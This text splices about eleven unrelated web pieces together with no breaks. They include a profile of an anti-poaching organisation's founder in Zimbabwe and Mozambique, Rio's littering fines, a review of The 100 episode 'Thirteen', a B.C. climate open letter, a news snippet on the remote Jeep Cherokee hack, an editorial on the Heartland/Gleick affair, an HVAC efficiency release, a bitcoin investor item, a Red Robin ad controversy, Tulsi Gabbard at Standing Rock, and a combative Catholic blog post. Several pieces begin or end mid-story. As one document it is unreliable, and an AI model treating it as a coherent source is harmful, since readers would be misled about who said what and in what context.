Tshabangu is one of a dozen IAPF rangers who safeguard the Stanley and Livingston Private Game Reserve in Victoria Falls, Zimbabwe. The reserve has one of the few populations of black rhino in Zimbabwe, and a successful breeding program. The park also serves as IAPF's headquarters and is where Mander first found a foothold in Africa.
He arrived in Victoria Falls in 2009 and took up residence at a backpackers' hostel, sleeping on the floor of a 100-square-foot cinder block cabin. Every day he'd walk the railroad tracks, 8 miles each way, to volunteer at a small reserve doing ranger training and security management. Ian Dupreez, the wildlife manager at Stanley and Livingston, had heard of a tattooed, oversized special-forces sniper knocking around town, but didn't have high expectations. "I can't tell you how many times these guys come in and tell me they're going to solve all my problems. They never last." Dupreez did, however, have a small breeding group of rhino, and knew his reserve had become a target. He paid Mander a visit.
"My first impression," Dupreez discovered, "was totally wrong. He was absolutely dedicated to this," he says of Mander. "I brought him onto the property and I've never had a regret doing that." Mander offered to help Dupreez develop, execute, and resource a security plan for the park; in exchange, Dupreez provided Mander with a field laboratory to test, refine, and scale a program.
What started as a fun adventure became Mander's life's calling. He came to an inflection point one afternoon six months into his stay, when he found a cape buffalo caught in a poacher's snare. The animal had struggled so hard to escape that she'd torn her pelvis apart. It was a torturous death. When one of the rangers offered mercy with a bullet to the head, the cow began to give birth.
"I'd finally reached a moral baseline of what I was willing to walk away from," says Mander. "Everything in my life up to that point was more or less about me. I didn't join the military to serve my country. I didn't go to Iraq to liberate the Iraqi people. I did both of those things for adventure. I did it for money. I did it for myself and I was a selfish prick. I thought status was the job I held, and the houses I had, all the bullshit."
Mander became a vegan. He sold five of the properties in Australia and poured the money into the IAPF. He purchased a game lodge and concession, and developed a 25-year management plan for Zimbabwe's long-neglected jewel, Chizarria National Park. He built a headquarters and ranger camp at Stanley and Livingston, and helped expand the ranger and management team. "I wanted to put some shitty skills to good use," he says.
IAPF rangers at a lookout point above an elephant slide Michael Hathorn, Ginkgo Agency Mander's methods and objectives are not without critics or controversy. In the big picture, says Keith Roberts, Conservation International's executive director for wildlife trafficking, the IAPF is simply "not shifting the needle on the ground in any sense." Poachers, Roberts asserts, are merely a symptom of the problem, not the root of it.
The only way rhinos, any wildlife, will be protected from poaching in the long term is if the upstream issues—economic development in Africa, market demand in Asia, and corruption and lack of political will just about everywhere—are addressed. Fighting poachers on the front lines may be an effective way to protect specific parks over the short term but that's akin to plugging a leaky dam with your fingers. Poachers, like water, follow a path of least resistance.
The successes at Sabie illustrate the point. While the percentage of poachers entering Kruger from Mozambique has dropped by more than half over the past three years, South Africa continues to lose more than 1,000 rhinos annually.
"What we do," Mander readily admits, "is not the answer. I can write down how to secure a park on the back of a bus ticket, but if you can't solve the social issues it's not going to solve the problem. Our job is to stop the hemorrhaging, to buy time."
While the IAPF's efforts at Stanley and Livingston had begun showing results after three years of work, white guys with military backgrounds pushing security agendas don't exactly have an inspired legacy in Africa. Some government officials viewed Mander's motives with suspicion. What was a counter-insurgency warfare specialist doing out there in the bush? Protecting wildlife? Or building a private army?
Mander's precarious standing was put under further scrutiny when The Age, an Australian newspaper, published an explosive report in March 2012 claiming that a "secret squadron of Australian SAS soldiers has been operating at large in Africa, performing work normally done by spies, in an unannounced and possibly dangerous expansion of Australia's foreign military engagement." Zimbabwe was reported among the targets. Mander, who had been out of the military for the better part of a decade and was in Monaco on a fundraising tour at the time, became collateral damage. He was told he could face charges of espionage—and potentially the death penalty—if he returned to Zimbabwe. After investing three years of his life and his savings into the IAPF, he had been shut down.
"Let's go see some live rhinos," Mander growls to Sabie senior ranger Adolph Botha, hardly masking his frustration, as we pile into the truck and drive away from the crime scene where the mother and calf lie. Mander's only in Mozambique for a few days and Botha, a wiry 27-year-old South African, is eager to temper the grizzly morning with a dash of good news.
Earlier that day, with the air patrol operational again, the rangers spotted one of the young bulls that had been with the two rhinos the night they were killed. "He went up north and met up with another cow-calf pair. He's not a threat to the dominant bull in the area," Botha says, hoping the youngster will settle in for a while. Nearby two other rangers had been tracking a pair of young bulls since dawn. We head to a dry creek bed to deliver them lunch.
There never is a good time to face exile but Mander's expulsion from Zimbabwe turned out to be a blessing in disguise. Facing the choice of either going back to Australia or doubling down, Mander, his wife Maria, and their infant son Leo moved to Nelspruit, South Africa, a gateway town to Kruger and launching pad into Mozambique. There's no shortage of endangered animals facing existential threats in Africa, but the Greater Lembobo Conservancy (GLC)—that network of wildlife reserves in which Sabie Game Park sits—had spectacular potential for protection: prime habitat the size of Luxemburg, abutting the world's greatest herds of rhino, in a region with a low human population density.
For two years, Mander worked with public and private stakeholders in both Mozambique and South Africa to develop anti-poaching security plans in the GLC—all the while using those same politicking skills to clear his name in Zimbabwe, where he and the IAPF are reestablished today. Much of his enforcement philosophy is influenced by the mistakes of Iraq, training too many people, too quickly, in order to satisfy politically motivated quotas. "You cannot expect to deal with the types of problems we're facing by taking shortcuts," he says.
The rhinos had just wrapped an afternoon mud bath and disappeared into the shade of the underbrush by the time Mander, Botha, and I arrive with lunch for the rangers. Botha kneels down to pick up their tracks and spots the faintest of ridgelines in the soft dust, the outer edge of a rhino's back foot. He follows the tracks through a thick patch of acacia, squeezing between the thorns like he's playing vertical limbo. The rain has brought the bush to life and the acacia are pregnant with flowers, tiny yellow balls swollen like sponges.
Botha snaps his fingers and points. A hundred yards away, a spectacular proboscis pokes into a clearing, attached to a four-legged pickup truck the color of a dull quarter. The rhino is so big, somehow even his shadow has mass. His vision is poor and he hasn't caught our scent, but his waffle-cone-shaped ears swivel around trying to pick up a signal. Satisfied that the coast is clear, he continues into the open followed by a second bull, traveling tail to horn. The trick to tracking them, Botha whispers, is to stay close enough to keep tabs but far enough to avoid spooking them. Otherwise they run, either away from you, in 100-degree heat, or at you, in which case the temperature becomes irrelevant. Either way, no one wants a chase.
Botha, Mander, and I settle into the shade of a marula tree (Sclerocarya birrea) for some rhino watching. When they're not being pursued by murderous criminals toting military-grade weaponry, the life of these rhinos looks pretty relaxing. Every so often the flick of an ear or a tail reveals some minor, bug-induced perturbation, but the fresh carpet of grass offers them a welcome distraction. Eventually they wander off and the rangers, sufficiently lunched themselves, wander off with them.
Despite the threats they face, these two white rhinos represent success. A century ago, their species was on the brink of extinction. Five years ago, they'd have been lucky to survive a week wandering the Mozambique wilds. And yet, here they are. Mander is determined to see a world where rhinos roam safe and free. "We didn't come here to lose," he says, rising to his feet and dusting himself off. He climbs back into the truck and drives the bumpy road to headquarters. There's a security briefing at 1600 hours.
As well as an escalating scale of fines ranging from £30 for pet litter to almost £1,000 for fly-tipping, the authorities say they will also give a "dirty name" to citizens who are caught dropping rubbish, and who fail to pay the penalty. This will be noted on their identification documents, and will appear whenever they apply for credit cards or loans.
The lixo zero (zero waste) law was supposed to have been introduced in July, but was postponed because of the recent papal visit and mass demonstrations against public bus fare increases, which showed widespread resistance to new levies in the city. Rio's mayor, Eduardo Paes, said he also wanted more time to raise public awareness of the issue.
At the start of the campaign on Tuesday, sanitation workers were accompanied by armed police officers.
Vinicius Roriz, president of Comlurb, Rio's waste collection operator, said the primary focus would be on the most crowded areas of the city, but the programme would later be expanded to the favelas on the periphery.
"We won't fine on the spot, but we will take people's CPF numbers," he said, referring to the most widely used identification document. "If they don't pay later, we will mark it on their CPF, which would give them a dirty name."
Critics say the penalties are disproportionately high, and that the infrastructure is lacking to allow citizens to dispose of rubbish easily.
The fine for dropping a can is more than a fifth of the minimum monthly salary of 763.14 reais (£200).
"The fee is really expensive. I wouldn't have the money to pay," said Dimmy Trinidade, an architecture student as the Federal University of Rio de Janeiro. "I think that the prefecture should have more bins."
Comlurb says it will open more municipal dump sites and study whether to install new bins made of coconut fibre. It is hoped these will be less susceptible to theft than the plastic models, which are often stolen and sold to private recyclers.
To educate the public about the scale of the littering problem, Rio halted normal rubbish collections earlier this month on a stretch of beach in Ipanema, to show how much rubbish accumulates on the sand in a single weekend. Photographs of the stinking piles of rubbish were published in local newspapers.
"I'm 100% in favour of this programme," said Pedro Gomes, an engineer who works in the Centro district.
"Brazilians are pigs, they throw rubbish on the floor all the time. It's really unacceptable. What's worse is that the upper classes, even 'educated' people, do this too."
But the city itself also has some dirty habits to clean up: Comlurb seperates barely more than 0.25% of Rio's urban waste, and much of the municipal sewage is still discharged untreated into the ocean.
Major character deaths on TV shows have a way of, for the most part, being overblown in their importance. More often than not, a character death doesn’t lead to much change on a TV show. Rather, the death provides an immediate shock, both to the audience and the narrative, and then things move along as planned, with perhaps a few characters mentioning the deceased every few episodes. To its credit, The 100 has proven before, with “Spacewalker,” that it can handle character deaths in a meaningful way, in a way that not only does right by the characters, but also uses the death to move the narrative into interesting places.
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[Spoilers begin here, obviously]. It’s hard to say whether or not tonight’s episode of The 100, and the character death that sits at the heart of it, will be able to change the course of this slightly disappointing season, but on its own, “Thirteen” is a remarkable episode, one that deepens the mythology of The 100 while also delivering on a number of character threads that have been left dangling for much of this season so far. That deepening of mythology begins when the writers choose to flash back 97 years to the moment when A.L.I.E. 1 went rogue and launched a number of nuclear missiles and killed millions of people. It’s a stirring, emotional cold open that fleshes out some details about A.L.I.E. and her creator, Becca, and the story only deepens from there.
It makes sense that, in retrospect, “Thirteen” would begin on such an emotional note, with a scene dominated by death, because so much of this episode is about death and responsibility. As “Thirteen” progresses and we learn more and more about Becca, including her refusal to shut down her research in building A.L.I.E. 2 and her eventual descent to Earth where she becomes the first Commander—the name coming from the label stitched into her space suit—it becomes clear that themes present in Becca’s story are paralleled in Lexa and Clarke’s storyline. After all, Becca’s journey is one of sacrifice, death, and tough choices. She’s forced to choose between recklessly having Polaris join with the Ark, or continuing her research and possibly saving the human race. Clarke and Lexa have faced similar choices in their lives—Clarke is certainly familiar with the idea of sacrificing many people for a potential greater good—but their current dilemma is perhaps one of the most important yet because one wrong decision could lead to war or an uprising from within the 13 clans.
Continuing with the theme of “blood must not have blood,” when Lexa is confronted by Semet with Octavia in captivity, and asked to punish her for her crimes, she refuses. Instead, she orders the 12 clans to send armies to blockade Arkadia, giving Kane and the others time to remove Pike from power and bring peace back to the alliance. Semet isn’t too happy with the decision, so he goes after Lexa, but Titus swiftly kills him. This is the spot Lexa has been put into. She must protect the Sky People, the 13th clan, while also risking an uprising from the other clans and her own people.
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Lexa’s steadiness in the face of such resistance is exactly what makes her one of the better characters on TV, which also makes her late-episode death sting that much more. It’s hard to fault The 100 for going in that direction, especially considering how her death ties in with so many other storylines and ultimately explains, as much as something so mysterious can be explained at this point, the “chips” Jaha has been handing out that offer passage to the City of Light. Still, it’s devastating to see Lexa go, not just because it hurts on an emotional level, and not just because of the slightly ridiculous way she’s killed off, but because Lexa was one of the best written characters on the show; on top of that, it’s certainly frustrating to see one of TV’s prominent lesbian characters written off so hastily. She’s been a strong, complicated, badass character ever since she came on the screen, brought to life by Alycia Debnam-Carey’s stunning, visceral performance, and her steady presence on The 100 will be sorely missed.
If there was a way for Lexa to go out though, tonight’s events certainly do the character justice. She stands by her loyalty to Clarke and her promise of “blood must not have blood,” and even spends a single night making love with Clarke. The two finally share a physically intimate moment, really their first since that kiss last season, and it’s beautifully done. Debnam-Carey and Eliza Taylor have shared remarkable chemistry on screen, and that makes the bond of Lexa and Clarke all the more powerful. Their relationship has always been more than romance, defined instead by strong convictions and a sense of duty, and it’s now up to Clarke to continue in that tradition, even after a new Commander is chosen.
Lexa’s death, and the potential transfer of her “spirit,” brings a restlessness and unpredictability to this season of The 100. For much of this season, the show has struggled to find organic conflict and churn out fresh stories. Lexa’s death and the political turmoil it’s sure to cause helps fix that, as does the revelation that she had the A.I. from Polaris inside of her the whole time. I’m still not sure how that all works—does Lexa bring her own personality to the A.I.? Was Clarke really in love with A.L.I.E. 2? What does this mean for Jaha, Murphy, Raven, and the City of Light?—but it certainly adds depth to the mystery of the A.I. while also fleshing out how the Grounders arrived at their current state of being.
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And really, that backstory informs the present, shedding light on it in new ways. What Lexa is dealing with isn’t just unruly people, but rather people with firmly-held, deeply-rooted beliefs. How does a leader cater to those people while also criticizing and working to change their ways? Lexa understands her people and their beliefs, and yet she knows that change needs to happen. It’s complex thematic territory that uncomfortably resonates in our current political climate.
“Thirteen” really is a stunning episode of television, even if some of the events that paved the way here remain shoddy at best. It’s an episode that, quite remarkably, manages to balance detailed backstory and mythology with genuine emotion and huge dramatic stakes. “Thirteen” goes for broke and it damn well pays off. “Thirteen” isn’t perfect, but it’s a lot closer to the version of The 100 that we all know and love.
Stray observations
Another round of applause here for Alycia Debnam-Carey. She nailed it week after week. May we meet again.
Like I mentioned above, I’m still not sure how I feel about Lexa’s death, both in how she died and the fact that the character is gone. I’m…conflicted to say the least. What about you? Let’s hear your thoughts.
“It’s a corporate logo!” Oh Murphy, you’re not doing yourself any favors.
The Octavia-Indra team up at the end had me throwing my fist in the air.
“I don’t want the next Commander. I want you.” Ughhhh, my heart.
Please send me GIFs of Lexa yelling at Titus until the end of time, thank you.
Murphy explaining the ancient Grounder drawings was a great, revelatory moment.
Seven members of B.C.'s Climate Leadership Team released the following open letter on May 17, 2016:
May 16, 2016
The Honourable Christy Clark, MLA
Premier of the Province of British Columbia
Box 9041
Station PROV GOVT
Victoria, B.C. V8W 9E1
Dear Premier,
One year ago, you asked us to serve on the Climate Leadership Team and provide your government with advice on how to advance B.C.’s climate change plan. The motivation for the new plan was clear: while B.C. had been a leader on developing climate policy in Canada, and in fact around the world, the province’s carbon pollution was rising and stronger policy would be needed to get the province on track to meet our legislated emissions reduction targets.
You asked us for recommendations that would enable the province to meet its 2020 and 2050 climate targets, maintain a strong economy, and provide support to the British Columbians most in need. You asked us to reach consensus across a group that included leaders from First Nations, business, academia, local government, the provincial government and environmental organizations.
The process we worked through last year was difficult, but it was also successful. We managed to deliver in six months. Our work resulted in 32 recommendations that we provided to your government last November. The package of recommendations represents a mix of innovative thinking and compromise that fulfills our mandate and respects the different perspectives represented on the team. The recommendations provide a blueprint to help get the province back on track for our climate targets, stimulate innovation, create jobs, protect B.C. businesses and support rural communities.
We advised your government to commit to the package of recommendations this year so that British Columbians and B.C. businesses have time to plan. This is particularly true of our recommendations to strengthen the carbon tax, which were central to the overall package. Committing to a next schedule of increases, closing gaps in its coverage and explaining how the revenue will be used will help reduce uncertainty, ease the transition to a low-carbon economy for emissions-intensive and trade-exposed sectors and families, and support investments in clean energy across the province.
The reasons to move forward with this plan are stronger than ever. Climate change threatens our economy, our communities and our environment. To confront those threats, we need to increase our efforts to reduce fossil fuel use and better prepare ourselves for a changing climate. And as the world increasingly begins to act, the demand for clean energy is accelerating. The actions we take to increasingly shift to clean energy in the province will also help position B.C. businesses to provide the solutions the world needs.
We want to see the province reach its climate targets; delay only increases the costs and makes it harder to succeed. We are thus concerned about the shifts in deadlines. You initially committed to having a draft plan in advance of the Paris climate talks last December and a final plan by this March. The draft plan was cancelled and the deadline for the final plan was pushed to June.
B.C. is in no position to delay or scale back its efforts. The rest of Canada and the rest of the world have been taking action since B.C.’s initial climate plan in 2008, and B.C.’s increasing carbon pollution is taking us in the wrong direction.
B.C. can’t be a climate leader if its carbon pollution is rising. As the federal government places a renewed emphasis on climate action, now is the time for B.C. to be articulating its next steps.
The new federal-provincial relationship on climate change will be defined by the jurisdictions taking actions to significantly reduce their carbon pollution and B.C. should be among them.
The Climate Leadership Team recommendations, implemented in their entirety, provide the blueprint for a B.C. climate plan to put the province back on track for the 2050 and interim 2030 targets. Anything less is not climate leadership.
Sincerely,
Chief Ian Campbell, hereditary chief, Squamish Nation
Chief Michelle Edwards, Cayoose Creek Band
Tom Pedersen, professor of oceanography, University of Victoria
Matt Horne, B.C. associate director, Pembina Institute
Merran Smith, executive director, Clean Energy Canada
Tzeporah Berman, adjunct professor, Faculty of Environmental Studies, York University
Nancy Olewiler, professor, School of Public Policy, Simon Fraser University
CC:
Honourable Catherine McKenna, Minister of Environment and Climate Change
Honourable James Carr, Minister of Natural Resources
Mr. Jonathan Wilkinson, Parliamentary Secretary
Honourable Mary Polak, Minister of Environment
Honourable Bill Bennett, Minister of Energy and Mines
Honourable Shirley Bond, Minister of Jobs, Tourism and Skills Training
Honourable Rich Coleman, Minister of Natural Gas Development
Honourable Mike de Jong, Minister of Finance
Honourable Peter Fassbender, Minister of Community, Sport and Cultural Development
Honourable Todd Stone, Minister of Transportation and Infrastructure
As The Telegraph reports, the hackers (security experts) worked with Andy Greenberg, a writer with tech website Wired.com, who drove the Jeep Cherokee on public roads in St Louis, Missouri...
In his disturbing account Greenberg described how the air vents started blasting out cold air and the radio came on full blast when the hack began.
The windscreen wipers turned on with wiper fluid, blurring the glass, and a picture of the two hackers appeared on the car’s digital display to signify they had gained access.
Greenberg said that the hackers then slowed the car to a halt just as he was getting on the highway, causing a tailback behind him - though it got worse after that.
He wrote: ‘The most disturbing maneuver came when they cut the Jeep’s brakes, leaving me frantically pumping the pedal as the 2-ton SUV slid uncontrollably into a ditch.
‘The researchers say they’re working on perfecting their steering control - for now they can only hijack the wheel when the Jeep is in reverse.
‘Their hack enables surveillance too: They can track a targeted Jeep’s GPS coordinates, measure its speed, and even drop pins on a map to trace its route.’
The hack was possible thanks to Uconnect, the Internet connected computer feature that has been installed in fleets of Fiat Chrysler cars since late 2013.
It controls the entertainment system, deals with navigation and allows phone calls.
The feature also allows owners to start the car remotely, flash the headlights using an app and unlock doors.
But according to Miller and Valasek, the on-board Internet connection is a ‘super nice vulnerability’ for hackers.
We await determinations of whether violations of state or federal laws on wire fraud and identity theft, and perhaps other offenses, occurred. Illinois-based Heartland has called in the FBI.
Mr. Gleick admitted the scheme in which he posed as a Heartland board member to obtain confidential files and sent them to global warming blogs as if they had been leaked by an insider. He denies, however, forging an accompanying “confidential strategy memo.” Heartland says the memo is not genuine, and there are indications it may have been created on the West Coast, where Mr. Gleick is president and founder of the Pacific Institute in Oakland.
Mr. Gleick requested a leave of absence from the institute after posting his confession online, in which he said, “My judgment was blinded by my frustration with the ongoing efforts – often anonymous, well-funded and coordinated – to attack climate science.”
Unfortunately, we are accustomed to global warming zealots making a sham of ethics as well as tarnishing science. Thanks partly to leaks of climate researchers’ emails in recent years, the global warming movement has been revealed to be a cloistered club of insiders, who bully dissenting scientists, plot to keep contrary views from being published and manipulate data.
That’s why Mr. Gleick’s antics don’t surprise us. For example, Greenpeace reportedly stole garbage from Chris Horner, a senior fellow at the Competitive Enterprise Institute, which also debunks global warming alarmism. The pilfered refuse showed up in media reports intended to “reveal a secret cabal I orchestrated from my basement,” Mr. Horner wrote in his book, “Red Hot Lies.”
Global warmists contend that Heartland and other critics secretly are funded by Big Oil and other fossil fuel interests. The irony is that the stolen Heartland documents reveal the small think tank’s budget of $6 million pales compared with the $26 billion in Obama administration stimulus funds pumped into global-warming friendly causes, plus the hundreds of millions spent annually by warmist-friendly groups like Greenpeace, World Wildlife Federation and the Sierra Club.
Field test of advanced controls in commercial buildings reveals more savings than expected
News Release
May 23, 2014
RICHLAND, Wash. — Commercial buildings could cut their heating and cooling electricity use by an average of 57 percent with advanced energy-efficiency controls, according to a year-long trial of the controls at malls, grocery stores and other buildings across the country. The study demonstrated higher energy savings than what was predicted in earlier computer simulations by the same researchers.
"We've long known that heating and cooling are among the biggest energy consumers in buildings, largely because most buildings don't use sophisticated controls," said the study's lead researcher, engineer Srinivas Katipamula of the Department of Energy's Pacific Northwest National Laboratory. "But our tests of controls installed at real, working commercial buildings clearly demonstrate how much more energy efficient air-conditioning systems can be."
This research was supported by DOE's Office of Energy Efficiency & Renewable Energy and the Bonneville Power Administration.
Sitting on the roofs of many commercial buildings are shiny metal boxes containing heating, cooling, ventilation and air conditioning (also known as HVAC) units. These are pre-made in a factory and have all their components inside a box, leading the industry to call them "packaged" HVAC units. Another kind of commercial HVAC, called air handling units, have long used sophisticated controls to ensure they work as efficiently as possible. But packaged units are often allowed to run for hours on end, even if they aren't needed, and receive little maintenance.
Packaged HVAC units consume the same amount of electricity each year as 8 million U.S. residents, or about 2,600 trillion British thermal units of energy. All those ignored and often-inefficient HVAC systems add up, creating higher power bills and contributing to the nation's greenhouse gas emissions.
Putting an idea to the test
Katipamula and his PNNL colleagues have spent their careers thinking up ways to reduce energy use in buildings. In 2011, they set out to adapt the controls already found in air handling HVAC units for use in packaged rooftop HVAC units. The goal was to enable packaged units to automatically adjust their operations based on conditions inside and outside a building. Using sensors and variable-speed motors, the controls decide when and how fast ventilation fans should run, and if the units can use naturally cold air from the outside instead of mechanically cooling indoor air.
While the PNNL team was evaluating how these controls could work, they learned a few companies were simultaneously and independently in the process of developing such advanced controls. During the summer of 2012, the team installed one of the commercially available control kits on 66 rooftop HVAC units at eight volunteer commercial buildings in Washington state, Ohio, California and Pennsylvania. The buildings included shopping malls, grocery stores, big-box stores and a medical clinic. The installed devices, manufactured by Transformative Wave of Kent, Wash., were chosen because they most closely resembled the advanced controls PNNL had envisioned.
Real energy savings
Katipamula and his colleagues found that, compared to standard operations, the HVAC units using advanced controls cut their energy use by an average of 57 percent. The actual energy savings ranged from 20 to 90 percent. Larger buildings such as malls, which need bigger HVAC units, saved more energy than smaller buildings. And buildings that ran ventilation fans more, such as stores open long hours, tended to save more energy.
Translating the energy savings into dollars saved depended on local power costs. Nationwide, energy costs an average of 10 cents per kilowatt-hour, though areas with abundant and inexpensive power supplies often pay less and large cities with greater energy needs generally pay more. When using the national average, researchers found all the field-tested HVAC units would have saved an average of $1,489 annually per unit. The team calculated it would take a building owner three years to recoup the cost of buying and installing advanced controls with that average cost savings. Commercial buildings often have multiple rooftop HVAC units, so actual savings per building would depend on the number of units used.
But the exact payback period depends on several factors. To help building owners weigh the costs, the research team developed a table that lays out which specific combinations of an HVAC unit's size, the number of hours its fan runs daily and the local energy rate would result in a three-year or less payback period. The team concluded installing advanced controls in smaller units with a capacity of 15 tons or less could achieve a three-year payback in areas where energy costs 12 cents per kilowatt-hour or more, or where sufficient utility incentives were available.
"I'm proud to see the advanced controls my colleagues and I evaluated not only work in the real world, but produce significant energy savings," Katipamula said. "We hope commercial building owners will be inspired by these tangible savings and install advanced controls in their rooftop HVAC units."
Building owners interested in upgrading or replacing their HVAC systems can learn more from the Advanced Rooftop Campaign, which was formed by DOE's Better Building Alliance, ASHRAE (also known as the American Society of Heating, Refrigerating and Air Conditioning Engineers) and the Retail Industry Leaders Association.
REFERENCES: S. Katipamula, W. Wang and M. Vowles, "Improving Operating Efficiency of Packaged Air Conditioners & Heat Pumps," ASHRAE Journal, March 2014.
W. Wang, S. Katipamula, H. Ngo, R. Underhill, D. Taasevigen and R. Lutes, "Advanced Rooftop Control (ARC) Retrofit: Field-Test Results," report for DOE, July 2013.
Citing his recent deal with Xapo, Hoffman explained that he believes in the global acceptance of one or more cryptocurrencies in the next 10 years, either bitcoin or bitcoin-based. Hoffman chose Xapo as a standard bitcoin business. His other cryptocurrency industry investment, in Blockstream, aims to promote bitcoin and “making it be possible”.
He stressed that he was not interested in bitcoin’s current price but rather in the openness of the digital currency:
“The most interesting thing about bitcoin is that it’s an open platform the way the Internets are an open platform, but for financial systems.”
Hoffman is currently running a series of events in Silicon Valley called Communities in order to promote professional networking. He highlighted that investors have to be very selective as the system has grown significantly. The main principle of choosing a start-up to invest in is the scale of transformation it can potentially offer.
Xapo is a bitcoin company that provides bank cards nominated in bitcoin. In the summer of 2014, a group of experienced entrepreneurs, including PayPal co-founder Max Levchin, invested $20 million in Xapo. Originally it was based in Palo Alto, California, but moved its headquarters to Switzerland in May of 2015 keeping a small office in the U.S. to work with American customers.
Blockstream is a team of developers who drive innovation in the industry of open assets and smart contracts implemented into the blockchain. Last month, the start-up announced the release of Sidechain elements, distributed networks that extend bitcoin functionality. Sidechains are interoperable with each other and with bitcoin and can be used to develop applications based on the ledger technology.
But rather than using this as an opportunity to welcome an entirely new demographic through its doors — vegetarians — the chain managed to insult all potential vegetarian and vegan customers instead.
While touting Red Robin's selection of 24 different burgers, the spokeswoman then condescends, "we even have a garden burger ... in case your teenage daughter is going through a phase." Cue the dramatic eye roll for effect.
While some vegetarian consumers were first excited to add a new restaurant to their rotation, the impulse to go to Red Robin dissipated after they were compared to finicky little girls.
Facebook
Other vegetarians responded angrily on Red Robin's Facebook, as well.
Facebook
Red Robin hasn't been replying on Facebook, yet.
According to Gallup, about 5% of Americans call themselves vegetarians. Vegans and vegetarians expressed frustration that their lifestyle choice was being openly mocked as trivial and transient.
Facebook Facebook
Of course, others think the 15-second ad, which is in steady rotation, is spot on.
Facebook
But anti-vegans, who see it as more of an expletive than an innocuous word, aren't the new customers Red Robin was trying to win.
Watch the spot below:
Congresswoman Gabbard with Standing Rock Sioux Chairman Dave Archambault II (center right) and supporters
U.S. Congresswoman Tulsi Gabbard's (D-HI) Twitter handle is an accurate summation of the unpretentious woman who stood before 400 Veterans and Water Protectors at Sitting Bull College in Fort Yates, North Dakota. It was a frigid Dakota Saturday night, and you could have heard the proverbial pin drop echo against the metal walls as she addressed the crowd. Gabbard served two tours of duty in the Middle East, and she continues her service as a Major in the Army National Guard. In 2005 she completed a 12-month tour in Iraq, where she served in a field medical unit as a specialist with a 29th Support Battalion medical company. Gabbard was awarded the Meritorious Service Medal at the end of the tour.
The vets were proud to have one of their own in a visible leadership role. It was written on their faces and obvious in the occasional tear that was quickly wiped away.
A compassionate embrace
In a show of solidarity with the Standing Rock Sioux, Congresswoman Gabbard is joining thousands of veterans from across the United States who have come to Standing Rock and the Cheyenne River Sioux Reservation to protest the building of the Dakota Access Pipeline (DAPL). The pipeline, if approved by the U.S. Army Corps of Engineers, would cross under the Missouri River and threaten not only the water supplies of Standing Rock, but also that of the Cheyenne River Sioux to the south.
In a statement to the Oceti Sakowin Camp Gabbard said, "I'm participating in the Dakota Access Pipeline protest because of the threat this project poses to water resources in four states serving millions of people."
Addressing the universal issue of water quality, Gabbard said, "Whether it's the threat to essential water sources in this region, the lead contamination in Flint, Michigan, or the threat posed to a major Hawaii aquifer by the Red Hill fuel leak, each example underscores the vital importance of protecting our water resources."
Some may remember the Congresswoman as the person who introduced and nominated Sen. Bernie Sanders (I-VT) for President of the United States during the second day of the Democratic National Convention in Philadelphia last July 26. Gabbard quit her post as vice chairwoman of the Democratic National Committee to support Sanders in the primaries.
In recent days, Gabbard met with President-elect Donald Trump and his transition team last Monday. Sources say she is possibly being considered for positions in the "Defense Department, State Department and the United Nations," according to a CNN report.
"Veterans for Standing Rock," are assembling at the Standing Rock Reservation from December 4-7 to relieve the water protectors from the harsh winter conditions and the constant emotional pressure and presence of militarized law enforcement.
Right now, in Catholic media, the same thing is going on. The libs have had near total domination of large Catholic media outlets. The domination was so complete that barely anyone knew that they were being fed soul-annihilation. Small but faithful outlets such as The Wanderer kept a fingernail’s hold on the edge of the Catholic public square, as did a few others. Then voices such as Mother Angelica managed to claw their way through the opposition. People, who suddenly had an alternative, began to wake up. The libs were and are not happy. With the growth of the internet, they have no chance to maintain their uncontested hegemony.
You can tell how angry and frightened the catholic liberal Left is right now by how they are rushing higgledy-piggeldy to defend the claim that homosexual acts are really not so bad after all. THAT, friends, is the issue. This is about the long-desired goal of divorcing sexual acts from procreation. Once that can be accomplished, then anything goes in any and every sphere of Catholic life. The Church will forever be transformed into a sort of NGO with broad goals of niceness, providing really good salaries for the ones who run it.
The anger and fright of the catholic liberal Left has recently manifested itself through, among other ways, attacks on converts. Not long ago we saw that some radicalized catholic liberals, also defenders (at least) of homosexuality, opined that converts really shouldn’t be allowed to voice opinions. How tired they were of converts saying what they thought! Of course what they were really irritated with is that converts tend to be more conservative. Because they made a choice to become Catholics as adults – and indeed during difficult times for the Church – they often are better informed and more faithful when it comes to the Church’s doctrine. Of course converts have to be silenced!
Now we see the anger and fright of the catholic liberal Left coming out in attacks on “Catholic internet trolls”. That’s what an editorial at Jesuit (what else?) run Amerika Magazine did on 18 September. Here is a taste :
It is likewise a mistake to ignore or dismiss those whose so-called evangelization takes the form of online attacks, and whose goal seems to be a purge of Catholic voices who do not meet their standards of purity. Those who lead such efforts are claiming a kind of parallel magisterium, substituting their own outrage for the judgement of those who occupy the church’s legitimate teaching office. They must be confronted, and church leaders—especially those whose viewpoints may differ from those of the persons under attack—should speak up strongly and clearly against these attacks and attempts at intimidation. The communion of the church needs to be defended—not from the peril of theological discussion but rather from that of being monitored and policed by the loudest and least loving voices among us.
This would be hilarious if it weren’t such a distortion of reality.
If there has ever been an effort to run a “parallel magisterium” it has been from the liberal Left! Think “Spirit of Vatican II”.
Amerika is worried about those who “occupy the church’s legitimate teaching office”? Oh, yeah? Where were they during the pontificates of John Paul II and of Benedict XVI? Were they out there fighting the good fight to uphold what these Popes taught? How have outlets like Amerika and Fishwrap etc. been in defending Veritatis splendor and Summorum Pontificum?
The hypocrisy of their concern for the magisterium is pathetic.
And, in their eyes, the crisis is so bad that the “communion of the church needs to be defended”. It is to laugh. Think about it. A small media outlet like Lifesite writes a story about a Jesuit and, “OMG! THE COMMUNION OF THE CHURCH IS UNDER ATTACK!” A small outlet like Church Militant writes a couple stories and, “OMG!….” A single little insignificant priest writes a blog post and, “OMG! If we don’t do something about these people IT’S THE END OF EVERYTHING!”
How about that phrase, “the loudest and least loving”. Niiiice. First, they judge the love of others. Then, “loudest”? For crying out loud, THEY are the loudest! Do you want the LOUDEST voices in the Church? They have to be Amerika and Fishwrap and Civiltà and all these established liberal organs.
To put this into perspective, I am like a guy on a street corner with an open guitar case, busking my little tunes, while Amerika and Fishwrap are a Village People tribute band on top of the Empire State Building with full media coverage. THEY are the loudmouths around here.
Some days back the some Jesuit Conference or other issued an official statement of full-throated support for James Martin’s notions in his book.
They have undertaken a war campaign of intimidation and bullying against the little guy.
I had questions… questions… about why and for what purpose Fr. Martin was to speak at a national major seminary… not university, mind you… seminary… when his very name these days brings a single thing to mind: the homosexualist agenda. I asked questions about that. I’d ask them again. Speaking at a university or a community college is one thing. Speaking at a seminary, for their 100th anniversary, is another. And everyone knows I’m right about that.
